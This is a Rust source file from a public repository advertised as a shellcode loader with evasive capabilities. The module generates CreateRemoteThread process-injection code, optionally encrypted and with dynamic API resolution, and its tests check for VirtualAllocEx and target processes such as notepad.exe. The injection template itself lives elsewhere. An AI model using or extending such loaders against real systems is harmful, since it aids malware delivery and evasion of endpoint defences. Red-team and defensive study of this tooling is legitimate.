myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

create_remote_thread.rs (2878B)

      1 use super::process_injection_common::RemoteThreadConfig;
      2 
      3 const CRT_CONFIG: RemoteThreadConfig = RemoteThreadConfig::create_remote_thread();
      4 
      5 #[allow(dead_code)]
      6 pub fn crt_import() -> String {
      7     CRT_CONFIG.generate_import()
      8 }
      9 
     10 #[allow(dead_code)]
     11 pub fn crt_const() -> String {
     12     CRT_CONFIG.generate_const()
     13 }
     14 
     15 #[allow(dead_code)]
     16 pub fn crt_init() -> String {
     17     CRT_CONFIG.generate_init()
     18 }
     19 
     20 #[allow(dead_code)]
     21 pub fn crt_process() -> String {
     22     CRT_CONFIG.generate_process()
     23 }
     24 
     25 pub fn generate_crt_code(target_process: &str, function_name: &str) -> String {
     26     CRT_CONFIG.generate_template(target_process, function_name)
     27 }
     28 
     29 pub fn generate_crt_code_with_dynamic_resolver(
     30     target_process: &str,
     31     function_name: &str,
     32     encryption_type: &str,
     33     encryptor: &dyn crate::encryption::Encryptor,
     34 ) -> String {
     35     CRT_CONFIG
     36         .generate_template_with_dynamic_resolver(
     37             target_process,
     38             function_name,
     39             encryption_type,
     40             encryptor,
     41         )
     42         .unwrap_or_else(|err| {
     43             panic!(
     44                 "Failed to generate CRT code with dynamic resolver (encryption: {}): {}",
     45                 encryption_type, err
     46             )
     47         })
     48 }
     49 
     50 pub struct CRTGenerator;
     51 
     52 impl super::trait_generator::TechniqueGenerator for CRTGenerator {
     53     fn generate_code(&self, process: &str, function_name: &str) -> String {
     54         generate_crt_code(process, function_name)
     55     }
     56 
     57     fn generate_code_with_dynamic_resolver(
     58         &self,
     59         process: &str,
     60         function_name: &str,
     61         encryption_type: &str,
     62         encryptor: &dyn crate::encryption::Encryptor,
     63     ) -> String {
     64         generate_crt_code_with_dynamic_resolver(process, function_name, encryption_type, encryptor)
     65     }
     66 
     67     fn requires_process(&self) -> bool {
     68         true
     69     }
     70 
     71     fn name(&self) -> &'static str {
     72         "CreateRemoteThread"
     73     }
     74 }
     75 
     76 #[cfg(test)]
     77 mod tests {
     78     use super::*;
     79 
     80     #[test]
     81     fn test_generate_crt_template_replaces_process_placeholder() {
     82         let template = generate_crt_code("notepad.exe", "TestFunc");
     83         assert!(template.contains("notepad.exe"));
     84         assert!(!template.contains("__PROCESS__"));
     85     }
     86 
     87     #[test]
     88     fn test_generate_crt_template_contains_all_parts() {
     89         let template = generate_crt_code("calc.exe", "MyFunction");
     90         assert!(template.contains("use std::ptr"));
     91         assert!(template.contains("MEM_COMMIT"));
     92         assert!(template.contains("fn load_process"));
     93         assert!(template.contains("fn MyFunction"));
     94         assert!(template.contains("VirtualAllocEx"));
     95     }
     96 
     97     #[test]
     98     fn test_generate_crt_code() {
     99         let code = generate_crt_code("notepad.exe", "MyRandomFunc");
    100         assert!(code.contains("notepad.exe"));
    101         assert!(code.contains("fn MyRandomFunc"));
    102         assert!(!code.contains("__PROCESS__"));
    103     }
    104 }